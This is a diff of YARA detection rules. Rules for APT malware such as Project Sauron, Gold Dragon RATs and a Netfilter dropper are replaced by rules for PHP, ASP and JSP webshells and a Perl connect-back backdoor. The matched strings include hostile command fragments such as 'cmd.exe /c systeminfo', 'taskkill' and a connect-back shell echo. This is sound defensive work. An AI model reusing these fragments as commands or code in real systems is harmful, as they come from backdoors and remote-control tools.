+rule SIGNATURE_BASE_Backup_Php_Often_With_C99Shell
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "32717ace-ff56-5b5b-8ed9-4bb353886eea"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file backup.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L188-L206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0735ba9591a9cf06cd13ba480b4559ef83105ab08ffcec21ebbbfdf3766edb93"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4199-L4211"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aeee3bae226ad57baf4be8745c3f6094"
+		logic_hash = "e27d00ebfbac2565568b9a97552a331db91b4e9aa318febb048937f5c3a1a1ba"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
+		tags = ""
 
 	strings:
-		$s1 = "xpsmngr.dll" fullword wide
-		$s2 = "XPS Manager" fullword wide
-		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 }
-		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b }
-		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 }
+		$s0 = "#phpMyAdmin MySQL-Dump" fullword
+		$s2 = ";db_connect();header('Content-Type: application/octetstr"
+		$s4 = "$data .= \"#Database: $database" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M6 : FILE
+rule SIGNATURE_BASE_Reader_Asp
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1aa6dd43-52ac-5321-9941-767833073c37"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file Reader.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "70094d24-fa3a-503c-b9b6-294a883fc52c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L208-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "95ca9a0b2e71e7152d20a01d238e7362024c6dac6fc95ed2ebfa96dcbc8dbd40"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4212-L4224"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ad1a362e0a24c4475335e3e891a01731"
+		logic_hash = "ec0dc3b050d84e852e0c18bd00961f109d3506fa7f2e8656448bd5edd28d9305"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
+		tags = ""
 
 	strings:
-		$s1 = "rseceng.dll" fullword wide
-		$s2 = "Remote Security Engine" fullword wide
-		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 }
-		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
-		$op2 = { 80 75 29 85 c9 79 25 b9 01 }
+		$s1 = "Mehdi & HolyDemon"
+		$s2 = "www.infilak."
+		$s3 = "'*T@*r@#@&mms^PdbYbVuBcAAA==^#~@%><form method=post name=inf><table width=\"75%"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M7 : FILE
+rule SIGNATURE_BASE_Phpshell17_Php
 {
 	meta:
-		description = "Detects malware from Project Sauron APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c5e83e1a-872d-53b3-a74a-b1a9b4a89168"
-		date = "2016-08-09"
+		description = "Semi-Auto-generated  - file phpshell17.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ea1f657c-2023-50bb-a2ee-33c53ee8fb5e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/eFoP4A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron_extras.yar#L228-L261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d132ddeb1d26b035565d3707b73d401fb413315febe26ac291cb05bfeca7c41d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4225-L4237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9a928d741d12ea08a624ee9ed5a8c39d"
+		logic_hash = "a9306747a5c9756f393c61562ed4a601c75c3a9491ad19a7b7dbae1fbd505e9a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
-		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
+		tags = ""
 
 	strings:
-		$sx1 = "Default user" fullword wide
-		$sx2 = "Hincorrect header check" fullword ascii
-		$sa1 = "MSAOSSPC.dll" fullword ascii
-		$sa2 = "MSAOSSPC.DLL" fullword wide
-		$sa3 = "MSAOSSPC" fullword wide
-		$sa4 = "AOL Security Package" fullword wide
-		$sa5 = "AOL Security Package" fullword wide
-		$sa6 = "AOL Client for 32 bit platforms" fullword wide
-		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 }
-		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 }
-		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b }
-		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 }
-		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 }
-		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 }
+		$s0 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>" fullword
+		$s1 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]<?php echo PHPSHELL_VERSION ?></"
+		$s2 = "href=\"mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ((3 of ($s*) and 3 of ($op*)) or (1 of ($sx*) and 1 of ($sa*)))
+		1 of them
 }
-rule SIGNATURE_BASE_EXP_Libre_Office_CVE_2018_16858 : CVE_2018_16858 FILE
+rule SIGNATURE_BASE_Myshell_Php_Php
 {
 	meta:
-		description = "RCE in Libre Office with crafted ODT file (CVE-2018-16858)"
-		author = "John Lambert @JohnLaTwC / modified by Florian Roth"
-		id = "17a0a569-27bf-57ab-937e-8943442ae604"
-		date = "2019-02-01"
+		description = "Semi-Auto-generated  - file myshell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2018_16858.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95a02b70c117947ff989e3e00868c2185142df9be751a3fefe21f18fa16a1a6f"
-		logic_hash = "6dd34350f24945ba5a594acae96dc00bb200841a645443a70a59006cea1db949"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4238-L4250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "62783d1db52d05b1b6ae2403a7044490"
+		logic_hash = "dd7b0fa637a8317986de0c2312b4b552f1110fb5a64590a9a21c854e5985fbb6"
 		score = 75
-		quality = 83
-		tags = "CVE-2018-16858, FILE"
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "xlink:href=\"vnd.sun.star.script:" ascii nocase
-		$s2 = ".py$tempfilepager" ascii nocase
-		$tag = {3c 6f 66 66 69 63 65 3a 64 6f 63 }
+		$s0 = "@chdir($work_dir) or ($shellOutput = \"MyShell: can't change directory."
+		$s1 = "echo \"<font color=$linkColor><b>MyShell file editor</font> File:<font color"
+		$s2 = " $fileEditInfo = \"&nbsp;&nbsp;:::::::&nbsp;&nbsp;Owner: <font color=$"
 
 	condition:
-		uint32be(0)==0x3c3f786d and $tag in (0..0100) and all of ($s*)
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Golddragon_Malware_Feb18_1 : FILE
+rule SIGNATURE_BASE_Simshell_1_0___Simorgh_Security_MGZ_Php
 {
 	meta:
-		description = "Detects malware from Gold Dragon report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1da29f0f-4e83-56a0-b843-3b19d9b9a1b7"
-		date = "2018-02-03"
+		description = "Semi-Auto-generated  - file SimShell 1.0 - Simorgh Security MGZ.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "51565555-a17b-59c7-b433-c3166fe0d7f0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_golddragon.yar#L13-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "873cf7aa18027615fe8c44140879811254229a238f7d426144fb7c1a6e07ea74"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4251-L4264"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "37cb1db26b1b0161a4bf678a6b4565bd"
+		logic_hash = "590a1572877fafcd4425a04c12cd56194f03a63b7acad93c39d4b16dc5a1902d"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+
+	strings:
+		$s0 = "Simorgh Security Magazine "
+		$s1 = "Simshell.css"
+		$s2 = "} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], "
+		$s3 = "www.simorgh-ev.com"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="168c2f7752511dfd263a83d5d08a90db" or pe.imphash()=="0606858bdeb129de33a2b095d7806e74" or pe.imphash()=="51d992f5b9e01533eb1356323ed1cb0f" or pe.imphash()=="bb801224abd8562f9ee8fb261b75e32a")
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Golddragon_Aux_File : FILE
+rule SIGNATURE_BASE_Jspshall_Jsp
 {
 	meta:
-		description = "Detects export from Gold Dragon - February 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8f23dec4-e369-500f-a036-32df13e5543e"
-		date = "2018-02-03"
+		description = "Semi-Auto-generated  - file jspshall.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4bccad33-d26e-52c2-b7f8-802f2c8f3889"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_golddragon.yar#L31-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4c5eb04cdafe3a69e584c64b833d8c6d21890660e92cc050bb29798dbcdf5326"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4265-L4277"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "efe0f6edaa512c4e1fdca4eeda77b7ee"
+		logic_hash = "94c458d3f38ba21348b0202e2b81bbbc3859e97d64f101a9ea7ec6f036e38bc5"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$x1 = "/////////////////////regkeyenum////////////" ascii
+		$s0 = "kj021320"
+		$s1 = "case 'T':systemTools(out);break;"
+		$s2 = "out.println(\"<tr><td>\"+ico(50)+f[i].getName()+\"</td><td> file"
 
 	condition:
-		filesize <500KB and 1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Golddragon_Ghost419_RAT : FILE
+rule SIGNATURE_BASE_Webshell_Php
 {
 	meta:
-		description = "Detects Ghost419 RAT from Gold Dragon report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ac951d5-4a18-50c5-8ded-8a0a6b585fd6"
-		date = "2018-02-03"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/rW1yvZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_golddragon.yar#L46-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b953c5e21c332add4ff3b8fef9d623904eb929b0e7fc86e6c7109cd81bc3819b"
+		description = "Semi-Auto-generated  - file webshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4278-L4289"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e425241b928e992bde43dd65180a4894"
+		logic_hash = "7b0f4f4afde7dcb44c9d877a72c961f3666278ce28a24ae8068cfbc32639e307"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "45bfa1327c2c0118c152c7192ada429c6d4ae03b8164ebe36ab5ba9a84f5d7aa"
-		hash2 = "ee7a9a7589cbbcac8b6bf1a3d9c5d1c1ada98e68ac2f43ff93f768661b7e4a85"
-		hash3 = "dee482e5f461a8e531a6a7ea4728535aafdc4941a8939bc3c55f6cb28c46ad3d"
-		hash4 = "2df9e274ce0e71964aca4183cec01fb63566a907981a9e7384c0d73f86578fe4"
-		hash5 = "111ab6aa14ef1f8359c59b43778b76c7be5ca72dc1372a3603cd5814bfb2850d"
-		hash6 = "0ca12b78644f7e4141083dbb850acbacbebfd3cfa17a4849db844e3f7ef1bee5"
-		hash7 = "ae1b32aac4d8a35e2c62e334b794373c7457ebfaaab5e5e8e46f3928af07cde4"
-		hash8 = "c54837d0b856205bd4ae01887aae9178f55f16e0e1a1e1ff59bd18dbc8a3dd82"
-		hash9 = "db350bb43179f2a43a1330d82f3afeb900db5ff5094c2364d0767a3e6b97c854"
+		tags = ""
 
 	strings:
-		$x2 = "WebKitFormBoundarywhpFxMBe19cSjFnG" ascii
-		$x3 = "\\Microsoft\\HNC\\" ascii
-		$x4 = "\\anternet abplorer" ascii
-		$x5 = "%s\\abxplore.exe" fullword ascii
-		$x6 = "GHOST419" fullword ascii
-		$x7 = "I,m Online. %04d - %02d - %02d - %02d - %02d" fullword ascii
-		$x8 = "//////////////////////////regkeyenum//////////////" ascii
-		$s0 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
-		$s1 = "www.GoldDragon.com" fullword ascii
-		$s2 = "/c systeminfo >> %s" fullword ascii
-		$s3 = "/c dir %s\\ >> %s" fullword ascii
-		$s4 = "DownLoading %02x, %02x, %02x" fullword ascii
-		$s5 = "Tran_dll.dll" fullword ascii
-		$s6 = "MpCmdRunkr.dll" fullword ascii
-		$s7 = "MpCmdRun.dll" fullword ascii
+		$s2 = "<die(\"Couldn't Read directory, Blocked!!!\");"
+		$s3 = "PHP Web Shell"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and ((pe.exports("ExportFunction") and pe.number_of_exports==1) or (1 of ($x*) and 1 of ($s*)) or 3 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Golddragon_Runningrat : FILE
+rule SIGNATURE_BASE_Rootshell_Php
 {
 	meta:
-		description = "Detects Running RAT from Gold Dragon report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7de93103-46a5-5aba-90cf-26735a6a580e"
-		date = "2018-02-03"
+		description = "Semi-Auto-generated  - file rootshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "aec6621e-f23a-5f9f-91f1-d2f1b1ab58d0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/rW1yvZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_golddragon.yar#L88-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "02b0ac613bb01cb5bbe947661880070790bbb7c6ba9925e70bc200df34747a0b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4290-L4303"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "265f3319075536030e59ba2f9ef3eac6"
+		logic_hash = "f836dd1825dc84212d32a034c0dde45d60ccd1eb667018abb60d671b61192666"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88"
-		hash2 = "2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863"
-		hash3 = "7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51"
+		tags = ""
 
 	strings:
-		$x1 = "C:\\USERS\\WIN7_x64\\result.log" fullword wide
-		$x2 = "rundll32.exe %s RunningRat" fullword ascii
-		$x3 = "SystemRat.dll" fullword ascii
-		$x4 = "rundll32.exe %s ExportFunction" fullword ascii
-		$x5 = "rundll32.exe \"%s\" RunningRat" fullword ascii
-		$x6 = "ixeorat.bin" fullword ascii
-		$x7 = "C:\\USERS\\Public\\result.log" fullword ascii
-		$a1 = "emanybtsohteg" fullword ascii
-		$a2 = "tekcosesolc" fullword ascii
-		$a3 = "emankcosteg" fullword ascii
-		$a4 = "emantsohteg" fullword ascii
-		$a5 = "tpokcostes" fullword ascii
-		$a6 = "putratSASW" fullword ascii
-		$s1 = "ParentDll.dll" fullword ascii
-		$s2 = "MR - Already Existed" fullword ascii
-		$s3 = "MR First Started, Registed OK!" fullword ascii
-		$s4 = "RM-M : LoadResource OK!" fullword ascii
-		$s5 = "D:\\result.log" fullword ascii
+		$s0 = "shells.dl.am"
+		$s1 = "This server has been infected by $owner"
+		$s2 = "<input type=\"submit\" value=\"Include!\" name=\"inc\"></p>"
+		$s4 = "Could not write to file! (Maybe you didn't enter any text?)"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="c78ccc8f02286648c4373d3bf03efc43" or pe.exports("RunningRat") or 1 of ($x*) or 5 of ($a*) or 3 of ($s*))
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Golddragon_Runnignrat : FILE
+rule SIGNATURE_BASE_Connectback2_Pl
 {
 	meta:
-		description = "Detects Running RAT malware from Gold Dragon report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b99b89a4-a764-5d72-8360-8e53461267d9"
-		date = "2018-02-03"
-		modified = "2023-01-07"
-		reference = "https://goo.gl/rW1yvZ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_golddragon.yar#L130-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bcc2ebbd54c31cf418430149eb558e8e26355161d0b53f403e7dfd2e1707baa"
+		description = "Semi-Auto-generated  - file connectback2.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "4ddebc62-17d2-577e-84bd-207367078327"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4304-L4316"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "473b7d226ea6ebaacc24504bd740822e"
+		logic_hash = "7316c93f12dbbf6d0235601d8be88c199e37955507925222d00041d0ceaf01c7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "94aa827a514d7aa70c404ec326edaaad4b2b738ffaea5a66c0c9f246738df579"
-		hash2 = "5cbc07895d099ce39a3142025c557b7fac41d79914535ab7ffc2094809f12a4b"
-		hash3 = "98ccf3a463b81a47fdf4275e228a8f2266e613e08baae8bdcd098e49851ed49a"
+		tags = ""
 
 	strings:
-		$s1 = "cmd.exe /c systeminfo " fullword ascii
-		$s2 = "ieproxy.dll" fullword ascii
-		$s3 = "taskkill /f /im daumcleaner.exe" fullword ascii
-		$s4 = "cmd.exe /c tasklist " fullword ascii
-		$s5 = "rundll32.exe \"%s\" Run" fullword ascii
-		$s6 = "Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0" fullword ascii
-		$s7 = "%s\\%s_%03d" fullword wide
-		$s8 = "\\PI_001.dat" ascii
+		$s0 = "#We Are: MasterKid, AleXutz, FatMan & MiKuTuL                                   "
+		$s1 = "echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shel"
+		$s2 = "ConnectBack Backdoor"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (3 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Netfilter_Dropper_Jun_2021_1_1 : FILE
+rule SIGNATURE_BASE_Defacekeeper_0_2_Php
 {
 	meta:
-		description = "Detects the dropper of Netfilter rootkit"
-		author = "Arkbird_SOLG"
-		id = "d91f48aa-9580-572d-a72c-19b80624cdbe"
-		date = "2020-06-18"
+		description = "Semi-Auto-generated  - file DefaceKeeper_0.2.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "671323e2-42cb-5ce0-9839-5d01c446471c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/struppigel/status/1405483373280235520"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_netfilter.yar#L4-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b70eb5d2d234d0f523c41fa146f315cf7239bbe7a988b393e75ea6cf6aa438d3"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4317-L4329"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "713c54c3da3031bc614a8a55dccd7e7f"
+		logic_hash = "0ee3fed3441e9561867508e324d7a6b1808a8923513bf1c9b82f8238224c994c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
-		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
-		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		tags = ""
 
 	strings:
-		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
